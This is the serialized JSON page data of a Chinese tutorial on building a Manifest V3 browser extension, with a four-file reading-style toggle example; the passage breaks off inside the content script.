[{"data":1,"prerenderedAt":134323},["ShallowReactive",2],{"tutorials-all":3,"tutorials-search":129960},[4,4556,17597,36574,45615,61739,74423,96420,108414,122489],{"id":5,"title":6,"body":7,"category":4545,"cover":4546,"date":4547,"description":4548,"extension":4549,"meta":4550,"navigation":997,"path":4551,"seo":4552,"sitemap":4553,"stem":4554,"__hash__":4555},"tutorials\u002Ftutorials\u002Fbrowser-extension.md","浏览器插件开发：从 Hello World 到 Manifest V3 实战",{"type":8,"value":9,"toc":4479},"minimark",[10,14,26,41,47,52,56,155,162,166,253,260,263,277,292,296,300,307,317,323,460,474,478,483,925,932,935,940,1408,1422,1425,1429,1641,1644,1650,1654,1658,1690,1696,1699,1757,1763,1766,1772,1784,1791,1794,1854,1857,1861,1864,2029,2032,2036,2116,2122,2125,2136,2153,2162,2166,2170,2173,2184,2243,2246,2249,2252,2259,2328,2335,2339,2346,2353,2358,2362,2366,2369,2376,2386,2390,2403,2644,2700,2708,2712,2719,2765,2780,2784,2787,2790,2805,2808,2818,2942,2946,3233,3236,3239,3307,3315,3320,3324,3327,3386,3396,3399,3405,3583,3589,3592,3606,3623,3633,3636,3643,3646,3654,3658,3661,3667,3677,3702,3705,3708,3712,3786,3789,3793,3800,3807,3812,3816,3820,3823,3873,3880,3884,3900,3963,3969,3982,3986,3997,4017,4022,4026,4029,4043,4115,4118,4122,4125,4134,4137,4140,4143,4148,4152,4155,4302,4306,4316,4333,4339,4345,4348,4380,4387,4390,4476],[11,12,13],"p",{},"浏览器插件看起来是工具栏上的一个小图标，实际上是几个运行环境协作的小应用。这门课先用四个文件做出一个能改变当前网页阅读样式的插件，再拆开解释 Popup、Content Script 和 Service Worker，最后补齐消息通信、存储、工程化与发布。",[11,15,16,20,21,25],{},[17,18,19],"strong",{},"学习目标：不用脚手架也能写出一个可加载的 Manifest V3 插件，知道代码在哪运行、需要什么权限、报错去哪看。"," 前置知识是 HTML、CSS、JavaScript，以及 Promise 和 ",[22,23,24],"code",{},"async\u002Fawait","；还不熟悉时，可以先看本站对应教程。",[11,27,28,29,36,37,40],{},"内容组织参考",[30,31,35],"a",{"href":32,"rel":33},"https:\u002F\u002Fwww.fengfengzhidao.com\u002Fspecial\u002F7\u002F81",[34],"nofollow","枫枫知道的浏览器插件开发课程","中课程介绍、Hello World、Content Script、Popup、Service Worker、Plasmo 的主题顺序，讲解和示例为重新编写。本文以桌面版 Chrome \u002F Edge 的 ",[17,38,39],{},"Manifest V3（MV3）"," 为基线，不把旧教程中的 Manifest V2 写法当作当前方案；Firefox 的兼容差异另行说明。",[11,42,43,46],{},[17,44,45],{},"示例运行边界："," 浏览器扩展 API 不能在普通网页或本站的沙箱 iframe 中直接调用。因此本文提供完整文件代码和本地加载步骤，不用模拟按钮冒充真正安装的插件。主线示例不连接后端、不上传网页内容，也不需要安装 npm 依赖。",[48,49,51],"h2",{"id":50},"一先认识插件不是一个权限更大的网页","一、先认识插件：不是一个权限更大的网页",[53,54,55],"h3",{"id":55},"插件由哪些部分组成",[57,58,59,78],"table",{},[60,61,62],"thead",{},[63,64,65,69,72,75],"tr",{},[66,67,68],"th",{},"部分",[66,70,71],{},"运行在哪里",[66,73,74],{},"有什么能力",[66,76,77],{},"不能假设什么",[79,80,81,96,110,124,141],"tbody",{},[63,82,83,87,90,93],{},[84,85,86],"td",{},"Manifest",[84,88,89],{},"浏览器读取的 JSON 配置",[84,91,92],{},"声明入口、权限、资源与版本",[84,94,95],{},"不是 JavaScript，不能写注释",[63,97,98,101,104,107],{},[84,99,100],{},"Popup",[84,102,103],{},"点击工具栏图标打开的扩展页面",[84,105,106],{},"展示按钮、读取配置、调用获准的扩展 API",[84,108,109],{},"不能直接拿到当前网页的 DOM",[63,111,112,115,118,121],{},[84,113,114],{},"Content Script",[84,116,117],{},"注入目标标签页的脚本环境",[84,119,120],{},"读写该页面 DOM，发送扩展消息",[84,122,123],{},"默认不共享网页脚本的 JS 变量",[63,125,126,129,132,135],{},[84,127,128],{},"Service Worker",[84,130,131],{},"扩展的事件驱动后台",[84,133,134],{},"响应事件、处理消息、协调任务",[84,136,137,138],{},"不是常驻进程，也没有 ",[22,139,140],{},"document",[63,142,143,146,149,152],{},[84,144,145],{},"Options Page",[84,147,148],{},"独立的扩展设置页面",[84,150,151],{},"管理较复杂的配置",[84,153,154],{},"不是必需入口",[11,156,157,158,161],{},"用后端开发的经验来理解：Popup 像控制台，Content Script 像部署在网页现场的执行器，Service Worker 像事件处理器。它们通过消息和存储协作，",[17,159,160],{},"不是靠共享一个全局变量协作","。",[53,163,165],{"id":164},"manifest-v2-与-v3-的常见对照","Manifest V2 与 V3 的常见对照",[57,167,168,178],{},[60,169,170],{},[63,171,172,175],{},[66,173,174],{},"旧资料中的写法",[66,176,177],{},"本文采用的 MV3 写法",[79,179,180,192,204,217,229,245],{},[63,181,182,187],{},[84,183,184],{},[22,185,186],{},"manifest_version: 2",[84,188,189],{},[22,190,191],{},"manifest_version: 3",[63,193,194,199],{},[84,195,196],{},[22,197,198],{},"browser_action",[84,200,201],{},[22,202,203],{},"action",[63,205,206,212],{},[84,207,208,209],{},"后台页、",[22,210,211],{},"background.scripts",[84,213,214],{},[22,215,216],{},"background.service_worker",[63,218,219,224],{},[84,220,221],{},[22,222,223],{},"chrome.tabs.executeScript()",[84,225,226],{},[22,227,228],{},"chrome.scripting.executeScript()",[63,230,231,238],{},[84,232,233,234,237],{},"把网站访问权限混在 ",[22,235,236],{},"permissions"," 中",[84,239,240,241,244],{},"使用 ",[22,242,243],{},"host_permissions"," 等明确声明",[63,246,247,250],{},[84,248,249],{},"依赖后台一直存在",[84,251,252],{},"按可随时停止、下次事件再启动设计",[11,254,255,256,259],{},"MV3 不只是改几个字段。后台生命周期、远程代码限制和权限模型都会影响架构。看到一份教程先检查 ",[22,257,258],{},"manifest_version","，再判断代码能否直接用。",[53,261,262],{"id":262},"本章的坑",[11,264,265,268,269,272,273,276],{},[17,266,267],{},"插件不等于万能脚本。"," ",[22,270,271],{},"chrome:\u002F\u002F","、",[22,274,275],{},"edge:\u002F\u002F","、扩展商店等页面受到保护；有权限不意味着能在任何页面注入。先用一个普通 HTTPS 页面验证，再排查特殊页面。",[11,278,279,285,286,288,289,161],{},[17,280,281,284],{},[22,282,283],{},"chrome"," 对象存在不代表扩展 API 可用。"," 普通网页里可能也有名为 ",[22,287,283],{}," 的对象，但没有插件上下文与授权，不能据此判断可调用 ",[22,290,291],{},"chrome.storage",[48,293,295],{"id":294},"二hello-world四个文件做出阅读助手","二、Hello World：四个文件做出阅读助手",[53,297,299],{"id":298},"建立目录与-manifest","建立目录与 Manifest",[11,301,302,303,306],{},"在电脑上新建 ",[22,304,305],{},"reading-helper"," 文件夹，保持以下四个文件位于同一层。下面四段代码共同组成第一版完整插件，不需要后台文件。",[308,309,315],"pre",{"className":310,"code":312,"language":313,"meta":314},[311],"language-text","reading-helper\u002F\n├── manifest.json\n├── popup.html\n├── popup.js\n└── content.js\n","text","",[22,316,312],{"__ignoreMap":314},[11,318,319,322],{},[22,320,321],{},"manifest.json","：",[308,324,328],{"className":325,"code":326,"language":327,"meta":314,"style":314},"language-json shiki shiki-themes github-dark","{\n  \"manifest_version\": 3,\n  \"name\": \"阅读助手\",\n  \"version\": \"1.0.0\",\n  \"description\": \"由用户点击，为当前页面切换阅读样式。\",\n  \"permissions\": [\"activeTab\", \"scripting\"],\n  \"action\": {\n    \"default_title\": \"阅读助手\",\n    \"default_popup\": \"popup.html\"\n  }\n}\n","json",[22,329,330,339,355,369,382,395,416,425,437,448,454],{"__ignoreMap":314},[331,332,335],"span",{"class":333,"line":334},"line",1,[331,336,338],{"class":337},"s95oV","{\n",[331,340,342,346,349,352],{"class":333,"line":341},2,[331,343,345],{"class":344},"sDLfK","  \"manifest_version\"",[331,347,348],{"class":337},": ",[331,350,351],{"class":344},"3",[331,353,354],{"class":337},",\n",[331,356,358,361,363,367],{"class":333,"line":357},3,[331,359,360],{"class":344},"  \"name\"",[331,362,348],{"class":337},[331,364,366],{"class":365},"sU2Wk","\"阅读助手\"",[331,368,354],{"class":337},[331,370,372,375,377,380],{"class":333,"line":371},4,[331,373,374],{"class":344},"  \"version\"",[331,376,348],{"class":337},[331,378,379],{"class":365},"\"1.0.0\"",[331,381,354],{"class":337},[331,383,385,388,390,393],{"class":333,"line":384},5,[331,386,387],{"class":344},"  \"description\"",[331,389,348],{"class":337},[331,391,392],{"class":365},"\"由用户点击，为当前页面切换阅读样式。\"",[331,394,354],{"class":337},[331,396,398,401,404,407,410,413],{"class":333,"line":397},6,[331,399,400],{"class":344},"  \"permissions\"",[331,402,403],{"class":337},": [",[331,405,406],{"class":365},"\"activeTab\"",[331,408,409],{"class":337},", ",[331,411,412],{"class":365},"\"scripting\"",[331,414,415],{"class":337},"],\n",[331,417,419,422],{"class":333,"line":418},7,[331,420,421],{"class":344},"  \"action\"",[331,423,424],{"class":337},": {\n",[331,426,428,431,433,435],{"class":333,"line":427},8,[331,429,430],{"class":344},"    \"default_title\"",[331,432,348],{"class":337},[331,434,366],{"class":365},[331,436,354],{"class":337},[331,438,440,443,445],{"class":333,"line":439},9,[331,441,442],{"class":344},"    \"default_popup\"",[331,444,348],{"class":337},[331,446,447],{"class":365},"\"popup.html\"\n",[331,449,451],{"class":333,"line":450},10,[331,452,453],{"class":337},"  }\n",[331,455,457],{"class":333,"line":456},11,[331,458,459],{"class":337},"}\n",[11,461,462,463,466,467,470,471,161],{},"这里只有两个权限：",[22,464,465],{},"activeTab"," 在用户主动调用插件时提供对当前标签页的临时访问能力，",[22,468,469],{},"scripting"," 允许使用脚本注入 API。我们不需要开局就申请所有网站访问权限，也不需要为了查当前标签页 ID 额外申请 ",[22,472,473],{},"tabs",[53,475,477],{"id":476},"编写-popup-页面","编写 Popup 页面",[11,479,480,322],{},[22,481,482],{},"popup.html",[308,484,488],{"className":485,"code":486,"language":487,"meta":314,"style":314},"language-html shiki shiki-themes github-dark","\u003C!DOCTYPE html>\n\u003Chtml lang=\"zh-CN\">\n\u003Chead>\n  \u003Cmeta charset=\"UTF-8\">\n  \u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n  \u003Ctitle>阅读助手\u003C\u002Ftitle>\n  \u003Cstyle>\n    body { width: 280px; margin: 0; padding: 20px; font: 14px\u002F1.6 sans-serif; }\n    h1 { margin: 0 0 12px; font-size: 20px; }\n    button { width: 100%; padding: 10px; cursor: pointer; }\n    #status { min-height: 44px; margin-bottom: 0; overflow-wrap: anywhere; }\n  \u003C\u002Fstyle>\n\u003C\u002Fhead>\n\u003Cbody>\n  \u003Ch1>阅读助手\u003C\u002Fh1>\n  \u003Cbutton id=\"toggle\" type=\"button\">切换阅读样式\u003C\u002Fbutton>\n  \u003Cp id=\"status\" role=\"status\" aria-live=\"polite\">请先打开一个普通网页。\u003C\u002Fp>\n  \u003Cscript src=\"popup.js\">\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n","html",[22,489,490,506,524,533,551,575,589,598,665,699,739,773,783,793,803,817,848,884,907,916],{"__ignoreMap":314},[331,491,492,495,499,503],{"class":333,"line":334},[331,493,494],{"class":337},"\u003C!",[331,496,498],{"class":497},"s4JwU","DOCTYPE",[331,500,502],{"class":501},"svObZ"," html",[331,504,505],{"class":337},">\n",[331,507,508,511,513,516,519,522],{"class":333,"line":341},[331,509,510],{"class":337},"\u003C",[331,512,487],{"class":497},[331,514,515],{"class":501}," lang",[331,517,518],{"class":337},"=",[331,520,521],{"class":365},"\"zh-CN\"",[331,523,505],{"class":337},[331,525,526,528,531],{"class":333,"line":357},[331,527,510],{"class":337},[331,529,530],{"class":497},"head",[331,532,505],{"class":337},[331,534,535,538,541,544,546,549],{"class":333,"line":371},[331,536,537],{"class":337},"  \u003C",[331,539,540],{"class":497},"meta",[331,542,543],{"class":501}," charset",[331,545,518],{"class":337},[331,547,548],{"class":365},"\"UTF-8\"",[331,550,505],{"class":337},[331,552,553,555,557,560,562,565,568,570,573],{"class":333,"line":384},[331,554,537],{"class":337},[331,556,540],{"class":497},[331,558,559],{"class":501}," name",[331,561,518],{"class":337},[331,563,564],{"class":365},"\"viewport\"",[331,566,567],{"class":501}," content",[331,569,518],{"class":337},[331,571,572],{"class":365},"\"width=device-width, initial-scale=1\"",[331,574,505],{"class":337},[331,576,577,579,582,585,587],{"class":333,"line":397},[331,578,537],{"class":337},[331,580,581],{"class":497},"title",[331,583,584],{"class":337},">阅读助手\u003C\u002F",[331,586,581],{"class":497},[331,588,505],{"class":337},[331,590,591,593,596],{"class":333,"line":418},[331,592,537],{"class":337},[331,594,595],{"class":497},"style",[331,597,505],{"class":337},[331,599,600,603,606,609,611,614,618,621,624,626,629,631,634,636,639,641,643,646,648,651,653,656,659,662],{"class":333,"line":427},[331,601,602],{"class":497},"    body",[331,604,605],{"class":337}," { ",[331,607,608],{"class":344},"width",[331,610,348],{"class":337},[331,612,613],{"class":344},"280",[331,615,617],{"class":616},"snl16","px",[331,619,620],{"class":337},"; ",[331,622,623],{"class":344},"margin",[331,625,348],{"class":337},[331,627,628],{"class":344},"0",[331,630,620],{"class":337},[331,632,633],{"class":344},"padding",[331,635,348],{"class":337},[331,637,638],{"class":344},"20",[331,640,617],{"class":616},[331,642,620],{"class":337},[331,644,645],{"class":344},"font",[331,647,348],{"class":337},[331,649,650],{"class":344},"14",[331,652,617],{"class":616},[331,654,655],{"class":337},"\u002F",[331,657,658],{"class":344},"1.6",[331,660,661],{"class":344}," sans-serif",[331,663,664],{"class":337},"; }\n",[331,666,667,670,672,674,676,678,681,684,686,688,691,693,695,697],{"class":333,"line":439},[331,668,669],{"class":497},"    h1",[331,671,605],{"class":337},[331,673,623],{"class":344},[331,675,348],{"class":337},[331,677,628],{"class":344},[331,679,680],{"class":344}," 0",[331,682,683],{"class":344}," 12",[331,685,617],{"class":616},[331,687,620],{"class":337},[331,689,690],{"class":344},"font-size",[331,692,348],{"class":337},[331,694,638],{"class":344},[331,696,617],{"class":616},[331,698,664],{"class":337},[331,700,701,704,706,708,710,713,716,718,720,722,725,727,729,732,734,737],{"class":333,"line":450},[331,702,703],{"class":497},"    button",[331,705,605],{"class":337},[331,707,608],{"class":344},[331,709,348],{"class":337},[331,711,712],{"class":344},"100",[331,714,715],{"class":616},"%",[331,717,620],{"class":337},[331,719,633],{"class":344},[331,721,348],{"class":337},[331,723,724],{"class":344},"10",[331,726,617],{"class":616},[331,728,620],{"class":337},[331,730,731],{"class":344},"cursor",[331,733,348],{"class":337},[331,735,736],{"class":344},"pointer",[331,738,664],{"class":337},[331,740,741,744,746,749,751,754,756,758,761,763,765,767,770],{"class":333,"line":456},[331,742,743],{"class":501},"    #status",[331,745,605],{"class":337},[331,747,748],{"class":344},"min-height",[331,750,348],{"class":337},[331,752,753],{"class":344},"44",[331,755,617],{"class":616},[331,757,620],{"class":337},[331,759,760],{"class":344},"margin-bottom",[331,762,348],{"class":337},[331,764,628],{"class":344},[331,766,620],{"class":337},[331,768,769],{"class":344},"overflow-wrap",[331,771,772],{"class":337},": anywhere; }\n",[331,774,776,779,781],{"class":333,"line":775},12,[331,777,778],{"class":337},"  \u003C\u002F",[331,780,595],{"class":497},[331,782,505],{"class":337},[331,784,786,789,791],{"class":333,"line":785},13,[331,787,788],{"class":337},"\u003C\u002F",[331,790,530],{"class":497},[331,792,505],{"class":337},[331,794,796,798,801],{"class":333,"line":795},14,[331,797,510],{"class":337},[331,799,800],{"class":497},"body",[331,802,505],{"class":337},[331,804,806,808,811,813,815],{"class":333,"line":805},15,[331,807,537],{"class":337},[331,809,810],{"class":497},"h1",[331,812,584],{"class":337},[331,814,810],{"class":497},[331,816,505],{"class":337},[331,818,820,822,825,828,830,833,836,838,841,844,846],{"class":333,"line":819},16,[331,821,537],{"class":337},[331,823,824],{"class":497},"button",[331,826,827],{"class":501}," id",[331,829,518],{"class":337},[331,831,832],{"class":365},"\"toggle\"",[331,834,835],{"class":501}," type",[331,837,518],{"class":337},[331,839,840],{"class":365},"\"button\"",[331,842,843],{"class":337},">切换阅读样式\u003C\u002F",[331,845,824],{"class":497},[331,847,505],{"class":337},[331,849,851,853,855,857,859,862,865,867,869,872,874,877,880,882],{"class":333,"line":850},17,[331,852,537],{"class":337},[331,854,11],{"class":497},[331,856,827],{"class":501},[331,858,518],{"class":337},[331,860,861],{"class":365},"\"status\"",[331,863,864],{"class":501}," role",[331,866,518],{"class":337},[331,868,861],{"class":365},[331,870,871],{"class":501}," aria-live",[331,873,518],{"class":337},[331,875,876],{"class":365},"\"polite\"",[331,878,879],{"class":337},">请先打开一个普通网页。\u003C\u002F",[331,881,11],{"class":497},[331,883,505],{"class":337},[331,885,887,889,892,895,897,900,903,905],{"class":333,"line":886},18,[331,888,537],{"class":337},[331,890,891],{"class":497},"script",[331,893,894],{"class":501}," src",[331,896,518],{"class":337},[331,898,899],{"class":365},"\"popup.js\"",[331,901,902],{"class":337},">\u003C\u002F",[331,904,891],{"class":497},[331,906,505],{"class":337},[331,908,910,912,914],{"class":333,"line":909},19,[331,911,788],{"class":337},[331,913,800],{"class":497},[331,915,505],{"class":337},[331,917,919,921,923],{"class":333,"line":918},20,[331,920,788],{"class":337},[331,922,487],{"class":497},[331,924,505],{"class":337},[11,926,927,928,931],{},"脚本放在单独的本地文件中，不写 ",[22,929,930],{},"onclick=\"...\"","，也不放内联 JavaScript。扩展页面的内容安全策略（CSP）比普通练习页面更严格，外链 CDN 脚本也不是这里的默认方案。",[53,933,934],{"id":934},"编写点击逻辑",[11,936,937,322],{},[22,938,939],{},"popup.js",[308,941,945],{"className":942,"code":943,"language":944,"meta":314,"style":314},"language-js shiki shiki-themes github-dark","const toggleButton = document.querySelector('#toggle')\nconst statusElement = document.querySelector('#status')\n\n\u002F**\n * 向用户主动选择的当前标签页注入阅读样式切换脚本。\n * 这里只接受普通 HTTP\u002FHTTPS 页面；受保护页面即使是 HTTPS 也可能拒绝注入。\n * 注入失败时保留浏览器的具体错误，方便用户在扩展管理页定位问题。\n * @returns {Promise\u003Cvoid>} 注入结束并更新弹窗状态后完成。\n * @example\n * \u002F\u002F 用户点击“切换阅读样式”，成功时显示当前是开启还是恢复状态。\n * toggleButton.addEventListener('click', toggleReading)\n *\u002F\nasync function toggleReading() {\n  toggleButton.disabled = true\n  statusElement.textContent = '正在切换…'\n  try {\n    const [tab] = await chrome.tabs.query({ active: true, currentWindow: true })\n    if (!Number.isInteger(tab?.id) || !\u002F^https?:\\\u002F\\\u002F\u002Fi.test(tab.url || '')) {\n      throw new Error('请在普通 HTTP\u002FHTTPS 网页上使用。')\n    }\n    const results = await chrome.scripting.executeScript({\n      target: { tabId: tab.id },\n      files: ['content.js']\n    })\n    statusElement.textContent = results[0]?.result\n      ? '已开启阅读样式，再点一次即可恢复。'\n      : '已恢复原始样式。'\n  } catch (error) {\n    statusElement.textContent = `操作失败：${error.message || String(error)}`\n  } finally {\n    toggleButton.disabled = false\n  }\n}\n\ntoggleButton.addEventListener('click', toggleReading)\n","js",[22,946,947,973,993,999,1005,1010,1015,1020,1034,1041,1049,1054,1059,1073,1083,1093,1101,1140,1207,1225,1230,1251,1257,1269,1275,1291,1300,1309,1321,1355,1365,1376,1381,1386,1391],{"__ignoreMap":314},[331,948,949,952,955,958,961,964,967,970],{"class":333,"line":334},[331,950,951],{"class":616},"const",[331,953,954],{"class":344}," toggleButton",[331,956,957],{"class":616}," =",[331,959,960],{"class":337}," document.",[331,962,963],{"class":501},"querySelector",[331,965,966],{"class":337},"(",[331,968,969],{"class":365},"'#toggle'",[331,971,972],{"class":337},")\n",[331,974,975,977,980,982,984,986,988,991],{"class":333,"line":341},[331,976,951],{"class":616},[331,978,979],{"class":344}," statusElement",[331,981,957],{"class":616},[331,983,960],{"class":337},[331,985,963],{"class":501},[331,987,966],{"class":337},[331,989,990],{"class":365},"'#status'",[331,992,972],{"class":337},[331,994,995],{"class":333,"line":357},[331,996,998],{"emptyLinePlaceholder":997},true,"\n",[331,1000,1001],{"class":333,"line":371},[331,1002,1004],{"class":1003},"sAwPA","\u002F**\n",[331,1006,1007],{"class":333,"line":384},[331,1008,1009],{"class":1003}," * 向用户主动选择的当前标签页注入阅读样式切换脚本。\n",[331,1011,1012],{"class":333,"line":397},[331,1013,1014],{"class":1003}," * 这里只接受普通 HTTP\u002FHTTPS 页面；受保护页面即使是 HTTPS 也可能拒绝注入。\n",[331,1016,1017],{"class":333,"line":418},[331,1018,1019],{"class":1003}," * 注入失败时保留浏览器的具体错误，方便用户在扩展管理页定位问题。\n",[331,1021,1022,1025,1028,1031],{"class":333,"line":427},[331,1023,1024],{"class":1003}," * ",[331,1026,1027],{"class":616},"@returns",[331,1029,1030],{"class":501}," {Promise\u003Cvoid>}",[331,1032,1033],{"class":1003}," 注入结束并更新弹窗状态后完成。\n",[331,1035,1036,1038],{"class":333,"line":439},[331,1037,1024],{"class":1003},[331,1039,1040],{"class":616},"@example\n",[331,1042,1043,1046],{"class":333,"line":450},[331,1044,1045],{"class":1003}," *",[331,1047,1048],{"class":1003}," \u002F\u002F 用户点击“切换阅读样式”，成功时显示当前是开启还是恢复状态。\n",[331,1050,1051],{"class":333,"line":456},[331,1052,1053],{"class":1003}," * toggleButton.addEventListener('click', toggleReading)\n",[331,1055,1056],{"class":333,"line":775},[331,1057,1058],{"class":1003}," *\u002F\n",[331,1060,1061,1064,1067,1070],{"class":333,"line":785},[331,1062,1063],{"class":616},"async",[331,1065,1066],{"class":616}," function",[331,1068,1069],{"class":501}," toggleReading",[331,1071,1072],{"class":337},"() {\n",[331,1074,1075,1078,1080],{"class":333,"line":795},[331,1076,1077],{"class":337},"  toggleButton.disabled ",[331,1079,518],{"class":616},[331,1081,1082],{"class":344}," true\n",[331,1084,1085,1088,1090],{"class":333,"line":805},[331,1086,1087],{"class":337},"  statusElement.textContent ",[331,1089,518],{"class":616},[331,1091,1092],{"class":365}," '正在切换…'\n",[331,1094,1095,1098],{"class":333,"line":819},[331,1096,1097],{"class":616},"  try",[331,1099,1100],{"class":337}," {\n",[331,1102,1103,1106,1109,1112,1115,1117,1120,1123,1126,1129,1132,1135,1137],{"class":333,"line":850},[331,1104,1105],{"class":616},"    const",[331,1107,1108],{"class":337}," [",[331,1110,1111],{"class":344},"tab",[331,1113,1114],{"class":337},"] ",[331,1116,518],{"class":616},[331,1118,1119],{"class":616}," await",[331,1121,1122],{"class":337}," chrome.tabs.",[331,1124,1125],{"class":501},"query",[331,1127,1128],{"class":337},"({ active: ",[331,1130,1131],{"class":344},"true",[331,1133,1134],{"class":337},", currentWindow: ",[331,1136,1131],{"class":344},[331,1138,1139],{"class":337}," })\n",[331,1141,1142,1145,1148,1151,1154,1157,1160,1163,1166,1168,1171,1175,1178,1181,1185,1187,1190,1193,1196,1199,1201,1204],{"class":333,"line":886},[331,1143,1144],{"class":616},"    if",[331,1146,1147],{"class":337}," (",[331,1149,1150],{"class":616},"!",[331,1152,1153],{"class":337},"Number.",[331,1155,1156],{"class":501},"isInteger",[331,1158,1159],{"class":337},"(tab?.id) ",[331,1161,1162],{"class":616},"||",[331,1164,1165],{"class":616}," !",[331,1167,655],{"class":365},[331,1169,1170],{"class":616},"^",[331,1172,1174],{"class":1173},"sns5M","https",[331,1176,1177],{"class":616},"?",[331,1179,1180],{"class":1173},":",[331,1182,1184],{"class":1183},"sRjNt","\\\u002F\\\u002F",[331,1186,655],{"class":365},[331,1188,1189],{"class":616},"i",[331,1191,1192],{"class":337},".",[331,1194,1195],{"class":501},"test",[331,1197,1198],{"class":337},"(tab.url ",[331,1200,1162],{"class":616},[331,1202,1203],{"class":365}," ''",[331,1205,1206],{"class":337},")) {\n",[331,1208,1209,1212,1215,1218,1220,1223],{"class":333,"line":909},[331,1210,1211],{"class":616},"      throw",[331,1213,1214],{"class":616}," new",[331,1216,1217],{"class":501}," Error",[331,1219,966],{"class":337},[331,1221,1222],{"class":365},"'请在普通 HTTP\u002FHTTPS 网页上使用。'",[331,1224,972],{"class":337},[331,1226,1227],{"class":333,"line":918},[331,1228,1229],{"class":337},"    }\n",[331,1231,1233,1235,1238,1240,1242,1245,1248],{"class":333,"line":1232},21,[331,1234,1105],{"class":616},[331,1236,1237],{"class":344}," results",[331,1239,957],{"class":616},[331,1241,1119],{"class":616},[331,1243,1244],{"class":337}," chrome.scripting.",[331,1246,1247],{"class":501},"executeScript",[331,1249,1250],{"class":337},"({\n",[331,1252,1254],{"class":333,"line":1253},22,[331,1255,1256],{"class":337},"      target: { tabId: tab.id },\n",[331,1258,1260,1263,1266],{"class":333,"line":1259},23,[331,1261,1262],{"class":337},"      files: [",[331,1264,1265],{"class":365},"'content.js'",[331,1267,1268],{"class":337},"]\n",[331,1270,1272],{"class":333,"line":1271},24,[331,1273,1274],{"class":337},"    })\n",[331,1276,1278,1281,1283,1286,1288],{"class":333,"line":1277},25,[331,1279,1280],{"class":337},"    statusElement.textContent ",[331,1282,518],{"class":616},[331,1284,1285],{"class":337}," results[",[331,1287,628],{"class":344},[331,1289,1290],{"class":337},"]?.result\n",[331,1292,1294,1297],{"class":333,"line":1293},26,[331,1295,1296],{"class":616},"      ?",[331,1298,1299],{"class":365}," '已开启阅读样式，再点一次即可恢复。'\n",[331,1301,1303,1306],{"class":333,"line":1302},27,[331,1304,1305],{"class":616},"      :",[331,1307,1308],{"class":365}," '已恢复原始样式。'\n",[331,1310,1312,1315,1318],{"class":333,"line":1311},28,[331,1313,1314],{"class":337},"  } ",[331,1316,1317],{"class":616},"catch",[331,1319,1320],{"class":337}," (error) {\n",[331,1322,1324,1326,1328,1331,1334,1336,1339,1342,1345,1347,1349,1352],{"class":333,"line":1323},29,[331,1325,1280],{"class":337},[331,1327,518],{"class":616},[331,1329,1330],{"class":365}," `操作失败：${",[331,1332,1333],{"class":337},"error",[331,1335,1192],{"class":365},[331,1337,1338],{"class":337},"message",[331,1340,1341],{"class":616}," ||",[331,1343,1344],{"class":501}," String",[331,1346,966],{"class":365},[331,1348,1333],{"class":337},[331,1350,1351],{"class":365},")",[331,1353,1354],{"class":365},"}`\n",[331,1356,1358,1360,1363],{"class":333,"line":1357},30,[331,1359,1314],{"class":337},[331,1361,1362],{"class":616},"finally",[331,1364,1100],{"class":337},[331,1366,1368,1371,1373],{"class":333,"line":1367},31,[331,1369,1370],{"class":337},"    toggleButton.disabled ",[331,1372,518],{"class":616},[331,1374,1375],{"class":344}," false\n",[331,1377,1379],{"class":333,"line":1378},32,[331,1380,453],{"class":337},[331,1382,1384],{"class":333,"line":1383},33,[331,1385,459],{"class":337},[331,1387,1389],{"class":333,"line":1388},34,[331,1390,998],{"emptyLinePlaceholder":997},[331,1392,1394,1397,1400,1402,1405],{"class":333,"line":1393},35,[331,1395,1396],{"class":337},"toggleButton.",[331,1398,1399],{"class":501},"addEventListener",[331,1401,966],{"class":337},[331,1403,1404],{"class":365},"'click'",[331,1406,1407],{"class":337},", toggleReading)\n",[11,1409,1410,1413,1414,1417,1418,1421],{},[22,1411,1412],{},"chrome.tabs.query()"," 查的是浏览器标签页，不是网页里的 DOM。",[22,1415,1416],{},"executeScript()"," 才负责把 ",[22,1419,1420],{},"content.js"," 送到指定标签页执行。默认只注入主框架，页面里的 iframe 不会因此全部执行一遍。",[53,1423,1424],{"id":1424},"编写页面脚本",[11,1426,1427,322],{},[22,1428,1420],{},[308,1430,1432],{"className":942,"code":1431,"language":944,"meta":314,"style":314},"\u002F**\n * 在当前文档切换一个带唯一标识的样式节点，返回切换后的开启状态。\n * 使用立即执行函数避免重复注入时出现顶层 const 重复声明；\n * 只增删自己创建的样式，不覆盖网页原本的 style 属性。\n * @returns {boolean} true 表示已开启，false 表示已恢复。\n * @example\n * \u002F\u002F 第一次注入返回 true，第二次移除样式并返回 false。\n *\u002F\n(() => {\n  const styleId = 'reading-helper-style-v1'\n  const existing = document.getElementById(styleId)\n  if (existing) {\n    existing.remove()\n    return false\n  }\n  const style = document.createElement('style')\n  style.id = styleId\n  style.textContent = `\n    body { background-color: #f5f0e6 !important; }\n    p, li { line-height: 1.9 !important; }\n    article, main { max-width: 76ch !important; margin-inline: auto !important; }\n  `\n  ;(document.head || document.documentElement).append(style)\n  return true\n})()\n",[22,1433,1434,1438,1443,1448,1453,1465,1471,1478,1482,1492,1505,1522,1530,1541,1548,1552,1573,1583,1593,1598,1603,1608,1613,1629,1636],{"__ignoreMap":314},[331,1435,1436],{"class":333,"line":334},[331,1437,1004],{"class":1003},[331,1439,1440],{"class":333,"line":341},[331,1441,1442],{"class":1003}," * 在当前文档切换一个带唯一标识的样式节点，返回切换后的开启状态。\n",[331,1444,1445],{"class":333,"line":357},[331,1446,1447],{"class":1003}," * 使用立即执行函数避免重复注入时出现顶层 const 重复声明；\n",[331,1449,1450],{"class":333,"line":371},[331,1451,1452],{"class":1003}," * 只增删自己创建的样式，不覆盖网页原本的 style 属性。\n",[331,1454,1455,1457,1459,1462],{"class":333,"line":384},[331,1456,1024],{"class":1003},[331,1458,1027],{"class":616},[331,1460,1461],{"class":501}," {boolean}",[331,1463,1464],{"class":1003}," true 表示已开启，false 表示已恢复。\n",[331,1466,1467,1469],{"class":333,"line":397},[331,1468,1024],{"class":1003},[331,1470,1040],{"class":616},[331,1472,1473,1475],{"class":333,"line":418},[331,1474,1045],{"class":1003},[331,1476,1477],{"class":1003}," \u002F\u002F 第一次注入返回 true，第二次移除样式并返回 false。\n",[331,1479,1480],{"class":333,"line":427},[331,1481,1058],{"class":1003},[331,1483,1484,1487,1490],{"class":333,"line":439},[331,1485,1486],{"class":337},"(() 